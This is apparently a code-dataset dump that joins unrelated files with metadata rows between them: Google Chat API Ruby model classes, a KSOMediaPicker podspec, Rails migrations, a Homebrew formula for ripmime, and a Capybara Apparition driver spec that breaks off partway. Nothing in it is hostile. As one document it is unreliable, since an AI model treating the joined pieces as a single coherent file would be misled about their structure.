# Corresponds to the JSON property `onChangeAction`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1Action]
attr_accessor :on_change_action
# The style of the text, for example, a single line or multiple lines.
# Corresponds to the JSON property `type`
# @return [String]
attr_accessor :type
# The default value when there is no input from the user.
# Corresponds to the JSON property `value`
# @return [String]
attr_accessor :value
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@auto_complete_action = args[:auto_complete_action] if args.key?(:auto_complete_action)
@hint_text = args[:hint_text] if args.key?(:hint_text)
@initial_suggestions = args[:initial_suggestions] if args.key?(:initial_suggestions)
@label = args[:label] if args.key?(:label)
@name = args[:name] if args.key?(:name)
@on_change_action = args[:on_change_action] if args.key?(:on_change_action)
@type = args[:type] if args.key?(:type)
@value = args[:value] if args.key?(:value)
end
end
# A paragraph of text that supports formatting. See [Text formatting](workspace/
# add-ons/concepts/widgets#text_formatting") for details.
class GoogleAppsCardV1TextParagraph
include Google::Apis::Core::Hashable
# The text that's shown in the widget.
# Corresponds to the JSON property `text`
# @return [String]
attr_accessor :text
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@text = args[:text] if args.key?(:text)
end
end
# A widget is a UI element that presents texts, images, etc.
class GoogleAppsCardV1Widget
include Google::Apis::Core::Hashable
# A list of buttons layed out horizontally.
# Corresponds to the JSON property `buttonList`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1ButtonList]
attr_accessor :button_list
# The widget that lets users to specify a date and time.
# Corresponds to the JSON property `dateTimePicker`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1DateTimePicker]
attr_accessor :date_time_picker
# A widget that displays text with optional decorations such as a label above or
# below the text, an icon in front of the text, a selection widget or a button
# after the text.
# Corresponds to the JSON property `decoratedText`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1DecoratedText]
attr_accessor :decorated_text
# A divider that appears in between widgets.
# Corresponds to the JSON property `divider`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1Divider]
attr_accessor :divider
# Represents a Grid widget that displays items in a configurable grid layout.
# Corresponds to the JSON property `grid`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1Grid]
attr_accessor :grid
# The horizontal alignment of this widget.
# Corresponds to the JSON property `horizontalAlignment`
# @return [String]
attr_accessor :horizontal_alignment
# An image that is specified by a URL and can have an onClick action.
# Corresponds to the JSON property `image`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1Image]
attr_accessor :image
# A widget that creates a UI item (for example, a drop-down list) with options
# for users to select.
# Corresponds to the JSON property `selectionInput`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1SelectionInput]
attr_accessor :selection_input
# A text input is a UI item where users can input text. A text input can also
# have an onChange action and suggestions.
# Corresponds to the JSON property `textInput`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1TextInput]
attr_accessor :text_input
# A paragraph of text that supports formatting. See [Text formatting](workspace/
# add-ons/concepts/widgets#text_formatting") for details.
# Corresponds to the JSON property `textParagraph`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1TextParagraph]
attr_accessor :text_paragraph
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@button_list = args[:button_list] if args.key?(:button_list)
@date_time_picker = args[:date_time_picker] if args.key?(:date_time_picker)
@decorated_text = args[:decorated_text] if args.key?(:decorated_text)
@divider = args[:divider] if args.key?(:divider)
@grid = args[:grid] if args.key?(:grid)
@horizontal_alignment = args[:horizontal_alignment] if args.key?(:horizontal_alignment)
@image = args[:image] if args.key?(:image)
@selection_input = args[:selection_input] if args.key?(:selection_input)
@text_input = args[:text_input] if args.key?(:text_input)
@text_paragraph = args[:text_paragraph] if args.key?(:text_paragraph)
end
end
# An image that is specified by a URL and can have an onclick action.
class Image
include Google::Apis::Core::Hashable
# The aspect ratio of this image (width/height). This field allows clients to
# reserve the right height for the image while waiting for it to load. It's not
# meant to override the native aspect ratio of the image. If unset, the server
# fills it by prefetching the image.
# Corresponds to the JSON property `aspectRatio`
# @return [Float]
attr_accessor :aspect_ratio
# The URL of the image.
# Corresponds to the JSON property `imageUrl`
# @return [String]
attr_accessor :image_url
# An onclick action (e.g. open a link).
# Corresponds to the JSON property `onClick`
# @return [Google::Apis::ChatV1::OnClick]
attr_accessor :on_click
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@aspect_ratio = args[:aspect_ratio] if args.key?(:aspect_ratio)
@image_url = args[:image_url] if args.key?(:image_url)
@on_click = args[:on_click] if args.key?(:on_click)
end
end
# An image button with an onclick action.
class ImageButton
include Google::Apis::Core::Hashable
# The icon specified by an enum that indices to an icon provided by Chat API.
# Corresponds to the JSON property `icon`
# @return [String]
attr_accessor :icon
# The icon specified by a URL.
# Corresponds to the JSON property `iconUrl`
# @return [String]
attr_accessor :icon_url
# The name of this image_button which will be used for accessibility. Default
# value will be provided if developers don't specify.
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
# An onclick action (e.g. open a link).
# Corresponds to the JSON property `onClick`
# @return [Google::Apis::ChatV1::OnClick]
attr_accessor :on_click
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@icon = args[:icon] if args.key?(:icon)
@icon_url = args[:icon_url] if args.key?(:icon_url)
@name = args[:name] if args.key?(:name)
@on_click = args[:on_click] if args.key?(:on_click)
end
end
# The inputs with widgets.
class Inputs
include Google::Apis::Core::Hashable
# Input Parameter for Date Picker widget.
# Corresponds to the JSON property `dateInput`
# @return [Google::Apis::ChatV1::DateInput]
attr_accessor :date_input
# Input Parameter for Date and Time Picker widget.
# Corresponds to the JSON property `dateTimeInput`
# @return [Google::Apis::ChatV1::DateTimeInput]
attr_accessor :date_time_input
# Input parameter for regular widgets. For single-valued widgets, it will be a
# single value list; for multi-valued widgets, such as checkbox, all the values
# are presented.
# Corresponds to the JSON property `stringInputs`
# @return [Google::Apis::ChatV1::StringInputs]
attr_accessor :string_inputs
# Input Parameter for Time Picker widget.
# Corresponds to the JSON property `timeInput`
# @return [Google::Apis::ChatV1::TimeInput]
attr_accessor :time_input
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@date_input = args[:date_input] if args.key?(:date_input)
@date_time_input = args[:date_time_input] if args.key?(:date_time_input)
@string_inputs = args[:string_inputs] if args.key?(:string_inputs)
@time_input = args[:time_input] if args.key?(:time_input)
end
end
# A UI element contains a key (label) and a value (content). And this element
# may also contain some actions such as onclick button.
class KeyValue
include Google::Apis::Core::Hashable
# The text of the bottom label. Formatted text supported.
# Corresponds to the JSON property `bottomLabel`
# @return [String]
attr_accessor :bottom_label
# A button. Can be a text button or an image button.
# Corresponds to the JSON property `button`
# @return [Google::Apis::ChatV1::Button]
attr_accessor :button
# The text of the content. Formatted text supported and always required.
# Corresponds to the JSON property `content`
# @return [String]
attr_accessor :content
# If the content should be multiline.
# Corresponds to the JSON property `contentMultiline`
# @return [Boolean]
attr_accessor :content_multiline
alias_method :content_multiline?, :content_multiline
# An enum value that will be replaced by the Chat API with the corresponding
# icon image.
# Corresponds to the JSON property `icon`
# @return [String]
attr_accessor :icon
# The icon specified by a URL.
# Corresponds to the JSON property `iconUrl`
# @return [String]
attr_accessor :icon_url
# An onclick action (e.g. open a link).
# Corresponds to the JSON property `onClick`
# @return [Google::Apis::ChatV1::OnClick]
attr_accessor :on_click
# The text of the top label. Formatted text supported.
# Corresponds to the JSON property `topLabel`
# @return [String]
attr_accessor :top_label
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@bottom_label = args[:bottom_label] if args.key?(:bottom_label)
@button = args[:button] if args.key?(:button)
@content = args[:content] if args.key?(:content)
@content_multiline = args[:content_multiline] if args.key?(:content_multiline)
@icon = args[:icon] if args.key?(:icon)
@icon_url = args[:icon_url] if args.key?(:icon_url)
@on_click = args[:on_click] if args.key?(:on_click)
@top_label = args[:top_label] if args.key?(:top_label)
end
end
#
class ListMembershipsResponse
include Google::Apis::Core::Hashable
# List of memberships in the requested (or first) page.
# Corresponds to the JSON property `memberships`
# @return [Array<Google::Apis::ChatV1::Membership>]
attr_accessor :memberships
# Continuation token to retrieve the next page of results. It will be empty for
# the last page of results.
# Corresponds to the JSON property `nextPageToken`
# @return [String]
attr_accessor :next_page_token
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@memberships = args[:memberships] if args.key?(:memberships)
@next_page_token = args[:next_page_token] if args.key?(:next_page_token)
end
end
#
class ListSpacesResponse
include Google::Apis::Core::Hashable
# Continuation token to retrieve the next page of results. It will be empty for
# the last page of results. Tokens expire in an hour. An error is thrown if an
# expired token is passed.
# Corresponds to the JSON property `nextPageToken`
# @return [String]
attr_accessor :next_page_token
# List of spaces in the requested (or first) page.
# Corresponds to the JSON property `spaces`
# @return [Array<Google::Apis::ChatV1::Space>]
attr_accessor :spaces
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@next_page_token = args[:next_page_token] if args.key?(:next_page_token)
@spaces = args[:spaces] if args.key?(:spaces)
end
end
# Media resource.
class Media
include Google::Apis::Core::Hashable
# Name of the media resource.
# Corresponds to the JSON property `resourceName`
# @return [String]
attr_accessor :resource_name
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@resource_name = args[:resource_name] if args.key?(:resource_name)
end
end
# Represents a membership relation in Google Chat.
class Membership
include Google::Apis::Core::Hashable
# The creation time of the membership a.k.a. the time at which the member joined
# the space, if applicable.
# Corresponds to the JSON property `createTime`
# @return [String]
attr_accessor :create_time
# A user in Google Chat.
# Corresponds to the JSON property `member`
# @return [Google::Apis::ChatV1::User]
attr_accessor :member
#
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
# State of the membership.
# Corresponds to the JSON property `state`
# @return [String]
attr_accessor :state
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@create_time = args[:create_time] if args.key?(:create_time)
@member = args[:member] if args.key?(:member)
@name = args[:name] if args.key?(:name)
@state = args[:state] if args.key?(:state)
end
end
# A message in Google Chat.
class Message
include Google::Apis::Core::Hashable
# Parameters that a bot can use to configure how it's response is posted.
# Corresponds to the JSON property `actionResponse`
# @return [Google::Apis::ChatV1::ActionResponse]
attr_accessor :action_response
# Output only. Annotations associated with the text in this message.
# Corresponds to the JSON property `annotations`
# @return [Array<Google::Apis::ChatV1::Annotation>]
attr_accessor :annotations
# Plain-text body of the message with all bot mentions stripped out.
# Corresponds to the JSON property `argumentText`
# @return [String]
attr_accessor :argument_text
# User uploaded attachment.
# Corresponds to the JSON property `attachment`
# @return [Array<Google::Apis::ChatV1::Attachment>]
attr_accessor :attachment
# Rich, formatted and interactive cards that can be used to display UI elements
# such as: formatted texts, buttons, clickable images. Cards are normally
# displayed below the plain-text body of the message.
# Corresponds to the JSON property `cards`
# @return [Array<Google::Apis::ChatV1::Card>]
attr_accessor :cards
# Output only. The time at which the message was created in Google Chat server.
# Corresponds to the JSON property `createTime`
# @return [String]
attr_accessor :create_time
# A plain-text description of the message's cards, used when the actual cards
# cannot be displayed (e.g. mobile notifications).
# Corresponds to the JSON property `fallbackText`
# @return [String]
attr_accessor :fallback_text
# Output only. The time at which the message was last updated in Google Chat
# server. If the message was never updated, this field will be same as
# create_time.
# Corresponds to the JSON property `lastUpdateTime`
# @return [String]
attr_accessor :last_update_time
# Resource name in the form `spaces/*/messages/*`. Example: `spaces/AAAAMpdlehY/
# messages/UMxbHmzDlr4.UMxbHmzDlr4`
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
# Text for generating preview chips. This text will not be displayed to the user,
# but any links to images, web pages, videos, etc. included here will generate
# preview chips.
# Corresponds to the JSON property `previewText`
# @return [String]
attr_accessor :preview_text
# A user in Google Chat.
# Corresponds to the JSON property `sender`
# @return [Google::Apis::ChatV1::User]
attr_accessor :sender
# A Slash Command in Chat.
# Corresponds to the JSON property `slashCommand`
# @return [Google::Apis::ChatV1::SlashCommand]
attr_accessor :slash_command
# A space in Google Chat. Spaces are conversations between two or more users or
# 1:1 messages between a user and a Chat bot.
# Corresponds to the JSON property `space`
# @return [Google::Apis::ChatV1::Space]
attr_accessor :space
# Plain-text body of the message.
# Corresponds to the JSON property `text`
# @return [String]
attr_accessor :text
# A thread in Google Chat.
# Corresponds to the JSON property `thread`
# @return [Google::Apis::ChatV1::Thread]
attr_accessor :thread
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@action_response = args[:action_response] if args.key?(:action_response)
@annotations = args[:annotations] if args.key?(:annotations)
@argument_text = args[:argument_text] if args.key?(:argument_text)
@attachment = args[:attachment] if args.key?(:attachment)
@cards = args[:cards] if args.key?(:cards)
@create_time = args[:create_time] if args.key?(:create_time)
@fallback_text = args[:fallback_text] if args.key?(:fallback_text)
@last_update_time = args[:last_update_time] if args.key?(:last_update_time)
@name = args[:name] if args.key?(:name)
@preview_text = args[:preview_text] if args.key?(:preview_text)
@sender = args[:sender] if args.key?(:sender)
@slash_command = args[:slash_command] if args.key?(:slash_command)
@space = args[:space] if args.key?(:space)
@text = args[:text] if args.key?(:text)
@thread = args[:thread] if args.key?(:thread)
end
end
# An onclick action (e.g. open a link).
class OnClick
include Google::Apis::Core::Hashable
# A form action describes the behavior when the form is submitted. For example,
# an Apps Script can be invoked to handle the form.
# Corresponds to the JSON property `action`
# @return [Google::Apis::ChatV1::FormAction]
attr_accessor :action
# A link that opens a new window.
# Corresponds to the JSON property `openLink`
# @return [Google::Apis::ChatV1::OpenLink]
attr_accessor :open_link
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@action = args[:action] if args.key?(:action)
@open_link = args[:open_link] if args.key?(:open_link)
end
end
# A link that opens a new window.
class OpenLink
include Google::Apis::Core::Hashable
# The URL to open.
# Corresponds to the JSON property `url`
# @return [String]
attr_accessor :url
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@url = args[:url] if args.key?(:url)
end
end
# A section contains a collection of widgets that are rendered (vertically) in
# the order that they are specified. Across all platforms, cards have a narrow
# fixed width, so there is currently no need for layout properties (e.g. float).
class Section
include Google::Apis::Core::Hashable
# The header of the section, text formatted supported.
# Corresponds to the JSON property `header`
# @return [String]
attr_accessor :header
# A section must contain at least 1 widget.
# Corresponds to the JSON property `widgets`
# @return [Array<Google::Apis::ChatV1::WidgetMarkup>]
attr_accessor :widgets
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@header = args[:header] if args.key?(:header)
@widgets = args[:widgets] if args.key?(:widgets)
end
end
# A Slash Command in Chat.
class SlashCommand
include Google::Apis::Core::Hashable
# The id of the slash command invoked.
# Corresponds to the JSON property `commandId`
# @return [Fixnum]
attr_accessor :command_id
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@command_id = args[:command_id] if args.key?(:command_id)
end
end
# Annotation metadata for slash commands (/).
class SlashCommandMetadata
include Google::Apis::Core::Hashable
# A user in Google Chat.
# Corresponds to the JSON property `bot`
# @return [Google::Apis::ChatV1::User]
attr_accessor :bot
# The command id of the invoked slash command.
# Corresponds to the JSON property `commandId`
# @return [Fixnum]
attr_accessor :command_id
# The name of the invoked slash command.
# Corresponds to the JSON property `commandName`
# @return [String]
attr_accessor :command_name
# Indicating whether the slash command is for a dialog.
# Corresponds to the JSON property `triggersDialog`
# @return [Boolean]
attr_accessor :triggers_dialog
alias_method :triggers_dialog?, :triggers_dialog
# The type of slash command.
# Corresponds to the JSON property `type`
# @return [String]
attr_accessor :type
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@bot = args[:bot] if args.key?(:bot)
@command_id = args[:command_id] if args.key?(:command_id)
@command_name = args[:command_name] if args.key?(:command_name)
@triggers_dialog = args[:triggers_dialog] if args.key?(:triggers_dialog)
@type = args[:type] if args.key?(:type)
end
end
# A space in Google Chat. Spaces are conversations between two or more users or
# 1:1 messages between a user and a Chat bot.
class Space
include Google::Apis::Core::Hashable
# The display name (only if the space is of type `ROOM`). Please note that this
# field might not be populated in direct messages between humans.
# Corresponds to the JSON property `displayName`
# @return [String]
attr_accessor :display_name
# Resource name of the space, in the form "spaces/*". Example: spaces/
# AAAAAAAAAAAA
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
# Whether the space is a DM between a bot and a single human.
# Corresponds to the JSON property `singleUserBotDm`
# @return [Boolean]
attr_accessor :single_user_bot_dm
alias_method :single_user_bot_dm?, :single_user_bot_dm
# Whether the messages are threaded in this space.
# Corresponds to the JSON property `threaded`
# @return [Boolean]
attr_accessor :threaded
alias_method :threaded?, :threaded
# Output only. The type of a space. This is deprecated. Use `single_user_bot_dm`
# instead.
# Corresponds to the JSON property `type`
# @return [String]
attr_accessor :type
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@display_name = args[:display_name] if args.key?(:display_name)
@name = args[:name] if args.key?(:name)
@single_user_bot_dm = args[:single_user_bot_dm] if args.key?(:single_user_bot_dm)
@threaded = args[:threaded] if args.key?(:threaded)
@type = args[:type] if args.key?(:type)
end
end
# The `Status` type defines a logical error model that is suitable for different
# programming environments, including REST APIs and RPC APIs. It is used by [
# gRPC](https://github.com/grpc). Each `Status` message contains three pieces of
# data: error code, error message, and error details. You can find out more
# about this error model and how to work with it in the [API Design Guide](https:
# //cloud.google.com/apis/design/errors).
class Status
include Google::Apis::Core::Hashable
# The status code, which should be an enum value of google.rpc.Code.
# Corresponds to the JSON property `code`
# @return [Fixnum]
attr_accessor :code
# A list of messages that carry the error details. There is a common set of
# message types for APIs to use.
# Corresponds to the JSON property `details`
# @return [Array<Hash<String,Object>>]
attr_accessor :details
# A developer-facing error message, which should be in English. Any user-facing
# error message should be localized and sent in the google.rpc.Status.details
# field, or localized by the client.
# Corresponds to the JSON property `message`
# @return [String]
attr_accessor :message
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@code = args[:code] if args.key?(:code)
@details = args[:details] if args.key?(:details)
@message = args[:message] if args.key?(:message)
end
end
# Input parameter for regular widgets. For single-valued widgets, it will be a
# single value list; for multi-valued widgets, such as checkbox, all the values
# are presented.
class StringInputs
include Google::Apis::Core::Hashable
#
# Corresponds to the JSON property `value`
# @return [Array<String>]
attr_accessor :value
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@value = args[:value] if args.key?(:value)
end
end
# A button with text and onclick action.
class TextButton
include Google::Apis::Core::Hashable
# An onclick action (e.g. open a link).
# Corresponds to the JSON property `onClick`
# @return [Google::Apis::ChatV1::OnClick]
attr_accessor :on_click
# The text of the button.
# Corresponds to the JSON property `text`
# @return [String]
attr_accessor :text
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@on_click = args[:on_click] if args.key?(:on_click)
@text = args[:text] if args.key?(:text)
end
end
# A paragraph of text. Formatted text supported.
class TextParagraph
include Google::Apis::Core::Hashable
#
# Corresponds to the JSON property `text`
# @return [String]
attr_accessor :text
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@text = args[:text] if args.key?(:text)
end
end
# A thread in Google Chat.
class Thread
include Google::Apis::Core::Hashable
# Resource name, in the form "spaces/*/threads/*". Example: spaces/AAAAMpdlehY/
# threads/UMxbHmzDlr4
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@name = args[:name] if args.key?(:name)
end
end
# Input Parameter for Time Picker widget.
class TimeInput
include Google::Apis::Core::Hashable
#
# Corresponds to the JSON property `hours`
# @return [Fixnum]
attr_accessor :hours
#
# Corresponds to the JSON property `minutes`
# @return [Fixnum]
attr_accessor :minutes
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@hours = args[:hours] if args.key?(:hours)
@minutes = args[:minutes] if args.key?(:minutes)
end
end
# The timezone id and offset. The id is the tz database time zones such as "
# America/Toronto". The user timezone offset, in milliseconds, from Coordinated
# Universal Time (UTC).
class TimeZone
include Google::Apis::Core::Hashable
#
# Corresponds to the JSON property `id`
# @return [String]
attr_accessor :id
#
# Corresponds to the JSON property `offset`
# @return [Fixnum]
attr_accessor :offset
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@id = args[:id] if args.key?(:id)
@offset = args[:offset] if args.key?(:offset)
end
end
# A user in Google Chat.
class User
include Google::Apis::Core::Hashable
# The user's display name.
# Corresponds to the JSON property `displayName`
# @return [String]
attr_accessor :display_name
# Obfuscated domain information.
# Corresponds to the JSON property `domainId`
# @return [String]
attr_accessor :domain_id
# True when the user is deleted or the user's profile is not visible.
# Corresponds to the JSON property `isAnonymous`
# @return [Boolean]
attr_accessor :is_anonymous
alias_method :is_anonymous?, :is_anonymous
# Resource name, in the format "users/*".
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
# User type.
# Corresponds to the JSON property `type`
# @return [String]
attr_accessor :type
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@display_name = args[:display_name] if args.key?(:display_name)
@domain_id = args[:domain_id] if args.key?(:domain_id)
@is_anonymous = args[:is_anonymous] if args.key?(:is_anonymous)
@name = args[:name] if args.key?(:name)
@type = args[:type] if args.key?(:type)
end
end
# Annotation metadata for user mentions (@).
class UserMentionMetadata
include Google::Apis::Core::Hashable
# The type of user mention.
# Corresponds to the JSON property `type`
# @return [String]
attr_accessor :type
# A user in Google Chat.
# Corresponds to the JSON property `user`
# @return [Google::Apis::ChatV1::User]
attr_accessor :user
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@type = args[:type] if args.key?(:type)
@user = args[:user] if args.key?(:user)
end
end
# A widget is a UI element that presents texts, images, etc.
class WidgetMarkup
include Google::Apis::Core::Hashable
# A list of buttons. Buttons is also oneof data and only one of these fields
# should be set.
# Corresponds to the JSON property `buttons`
# @return [Array<Google::Apis::ChatV1::Button>]
attr_accessor :buttons
# An image that is specified by a URL and can have an onclick action.
# Corresponds to the JSON property `image`
# @return [Google::Apis::ChatV1::Image]
attr_accessor :image
# A UI element contains a key (label) and a value (content). And this element
# may also contain some actions such as onclick button.
# Corresponds to the JSON property `keyValue`
# @return [Google::Apis::ChatV1::KeyValue]
attr_accessor :key_value
# A paragraph of text. Formatted text supported.
# Corresponds to the JSON property `textParagraph`
# @return [Google::Apis::ChatV1::TextParagraph]
attr_accessor :text_paragraph
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@buttons = args[:buttons] if args.key?(:buttons)
@image = args[:image] if args.key?(:image)
@key_value = args[:key_value] if args.key?(:key_value)
@text_paragraph = args[:text_paragraph] if args.key?(:text_paragraph)
end
end
end
end
end
| 40.815174 | 121 | 0.606007 |
5d609508ae49a78459a355fb93c4f949fc62c1dc | 2,536 | #
# Be sure to run `pod lib lint ${POD_NAME}.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see http://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'KSOMediaPicker'
s.version = '1.4.9'
s.summary = 'KSOMediaPicker is an iOS/tvOS framework that provides UI to access the Photos framework.'
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
KSOMediaPicker is an iOS/tvOS framework that provides UI to access the Photos framework. It provides similar functionality to UIImagePickerController on iOS and a custom implementation on tvOS. On iOS it uses FLAnimatedImage to support playback of GIFs within the asset collection view. It also supports playback of video assets while selected in the asset collection view.
DESC
s.homepage = 'https://github.com/Kosoku/KSOMediaPicker'
s.screenshots = ['https://github.com/Kosoku/KSOMediaPicker/raw/master/screenshots/iOS-1.png','https://github.com/Kosoku/KSOMediaPicker/raw/master/screenshots/iOS-2.png','https://github.com/Kosoku/KSOMediaPicker/raw/master/screenshots/iOS-3.png']
s.license = { :type => 'Apache 2.0', :file => 'license.txt' }
s.author = { 'William Towe' => '[email protected]' }
s.source = { :git => 'https://github.com/Kosoku/KSOMediaPicker.git', :tag => s.version.to_s }
# s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>'
s.ios.deployment_target = '10.0'
s.tvos.deployment_target = '10.0'
s.source_files = 'KSOMediaPicker/**/*.{h,m}'
s.exclude_files = 'KSOMediaPicker/KSOMediaPicker-Info.h'
s.private_header_files = 'KSOMediaPicker/Private/*.h'
s.ios.resource_bundles = {
'KSOMediaPicker' => ['KSOMediaPicker/**/*.{xib,lproj}']
}
s.tvos.resource_bundles = {
'KSOMediaPicker' => ['KSOMediaPicker/**/*.{lproj}']
}
s.frameworks = 'Photos', 'AVFoundation'
s.dependency 'Agamotto'
s.dependency 'Ditko'
s.dependency 'Quicksilver'
s.dependency 'Shield/Photos'
s.dependency 'KSOFontAwesomeExtensions'
s.ios.dependency 'FLAnimatedImage', '~> 1.0'
end
| 46.962963 | 373 | 0.695978 |
6a36051c2e1867235342f08510285ecf4e2f5d92 | 332 | class CreateTasksTable < ActiveRecord::Migration
def change
create_table :tasks do |t|
t.string :title
t.text :description
t.boolean :complete, default: false
t.integer :user_id
end
end
end
# eventually put in sub-tasks logic
# will need to add a way to keep track of sub-tasks and parent tasks
| 23.714286 | 68 | 0.695783 |
d5ecb5fb4bf213243ff168733bd6844aaf223538 | 918 | class Ripmime < Formula
desc "Extract attachments out of MIME encoded email packages"
homepage "https://pldaniels.com/ripmime/"
url "https://pldaniels.com/ripmime/ripmime-1.4.0.10.tar.gz"
sha256 "896115488a7b7cad3b80f2718695b0c7b7c89fc0d456b09125c37f5a5734406a"
bottle do
cellar :any_skip_relocation
sha256 "915cd6326fe857e0608d25c9b6e2f4fab06734df23d0ad938184c1b791981345" => :high_sierra
sha256 "09a2b60d927bbc236998e29ea50969ce95ab4470d74cd7a40a54f9f4ec24252b" => :sierra
sha256 "1151fa0bb8a10779979cec95c7039832eb81b7126f808ba9c89ccb73cf658814" => :el_capitan
sha256 "6ef2fdabe468bc42be725020ef23cc924d1572c7446648e38dbd6de3f1399a38" => :yosemite
sha256 "741b45ca155022fb6b540dd1cc0882f5f29330b6909e37fd5115e84705d9d6bb" => :mavericks
end
def install
system "make", "LIBS=-liconv", "CFLAGS=#{ENV.cflags}"
bin.install "ripmime"
man1.install "ripmime.1"
end
end
| 41.727273 | 93 | 0.798475 |
7acf1fd697111fd7c11f3c239017d638da4ddda1 | 171 | class AddArticleRefToArticleCategory < ActiveRecord::Migration[6.0]
def change
add_reference :article_categories, :article, null: false, foreign_key: true
end
end
| 28.5 | 79 | 0.789474 |
873cefb78ea18a2e15efce076f606e1fb31bd132 | 104,242 | # frozen_string_literal: true
require 'spec_helper'
require 'capybara/apparition/driver'
require 'base64'
require 'os'
# require 'self_signed_ssl_cert'
describe 'Capybara::Apparition::Driver' do
include AppRunner
def visit(path, driver = self.driver)
driver.visit(url(path))
end
def url(path)
"#{AppRunner.app_host}#{path}"
end
context 'configuration' do
let(:options) { AppRunner.configuration.to_hash }
it 'configures server automatically' do
expect { Capybara::Apparition::Driver.new(AppRunner.app, options) }
.not_to raise_error
end
end
context 'error iframe app' do
let(:driver) do
driver_for_app do
get '/inner-not-found' do
invalid_response
end
get '/' do
<<-HTML
<html>
<body>
<iframe src="/inner-not-found"></iframe>
</body>
</html>
HTML
end
end
end
it 'raises error whose message references the actual missing url' do
pending 'is part of page not loading really an error?'
expect { visit('/') }.to raise_error(Capybara::Apparition::InvalidResponseError, /inner-not-found/)
end
end
context 'redirect app' do
let(:driver) do
driver_for_app do
enable :sessions
get '/target' do
headers 'X-Redirected' => (session.delete(:redirected) || false).to_s
"<p>#{env['CONTENT_TYPE']}</p>"
end
get '/form' do
<<-HTML
<html>
<body>
<form action="/redirect" method="POST" enctype="multipart/form-data">
<input name="submit" type="submit" />
</form>
</body>
</html>
HTML
end
post '/redirect' do
redirect '/target'
end
get '/redirect-me' do
if session[:redirected]
redirect '/target'
else
session[:redirected] = true
redirect '/redirect-me'
end
end
end
end
it 'should redirect without content type' do
visit('/form')
driver.find_xpath('//input').first.click
expect(driver.find_xpath('//p').first.visible_text).to eq ''
end
it 'returns the current URL when changed by pushState after a redirect' do
visit('/redirect-me')
expect(driver.current_url).to eq driver_url(driver, '/target')
driver.execute_script("window.history.pushState({}, '', '/pushed-after-redirect')")
expect(driver.current_url).to eq driver_url(driver, '/pushed-after-redirect')
end
it 'returns the current URL when changed by replaceState after a redirect' do
visit('/redirect-me')
expect(driver.current_url).to eq driver_url(driver, '/target')
driver.execute_script("window.history.replaceState({}, '', '/replaced-after-redirect')")
expect(driver.current_url).to eq driver_url(driver, '/replaced-after-redirect')
end
it 'should make headers available through response_headers' do
visit('/redirect-me')
expect(driver.response_headers['X-Redirected']).to eq 'true'
visit('/target')
expect(driver.response_headers['X-Redirected']).to eq 'false'
end
it 'should make the status code available through status_code' do
visit('/redirect-me')
expect(driver.status_code).to eq 200
visit('/target')
expect(driver.status_code).to eq 200
end
end
context 'css app' do
let(:driver) do
driver_for_app do
get '/' do
headers 'Content-Type' => 'text/css'
'css'
end
end
end
before { visit('/') }
it 'renders unsupported content types gracefully' do
expect(driver.html).to match(/css/)
end
it 'sets the response headers with respect to the unsupported request' do
expect(driver.response_headers['Content-Type']).to eq 'text/css'
end
# it 'does not wrap the content in HTML tags', skip: 'Chrome warps the document with now way to disable' do
# expect(driver.html).not_to match(/<html>/)
# end
end
context 'html app' do
let(:driver) do
driver_for_html(<<-HTML)
<html>
<head>
<title>Hello HTML</title>
</head>
<body>
<h1>This Is HTML!</h1>
</body>
</html>
HTML
end
before { visit('/') }
it 'does not strip HTML tags' do
expect(driver.html).to match(/<html>/)
end
end
# context 'binary content app', skip: "Not sure we can do this with a real browser" do
